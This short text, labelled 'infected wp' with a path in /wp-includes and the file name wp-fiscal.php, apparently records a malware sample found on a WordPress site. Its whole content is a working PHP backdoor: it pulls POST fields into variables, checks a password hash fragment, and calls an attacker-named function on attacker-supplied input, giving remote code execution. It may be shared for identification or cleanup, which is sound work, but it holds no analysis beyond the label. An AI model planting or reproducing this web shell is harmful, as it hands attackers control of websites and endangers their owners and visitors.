infected wp: /wp-includes

wp-fiscal.php

<?php
	extract($_POST, 1);
	strripos(@sha1($shall), "0c0100a3") == 32 && @$not(stripslashes($pass));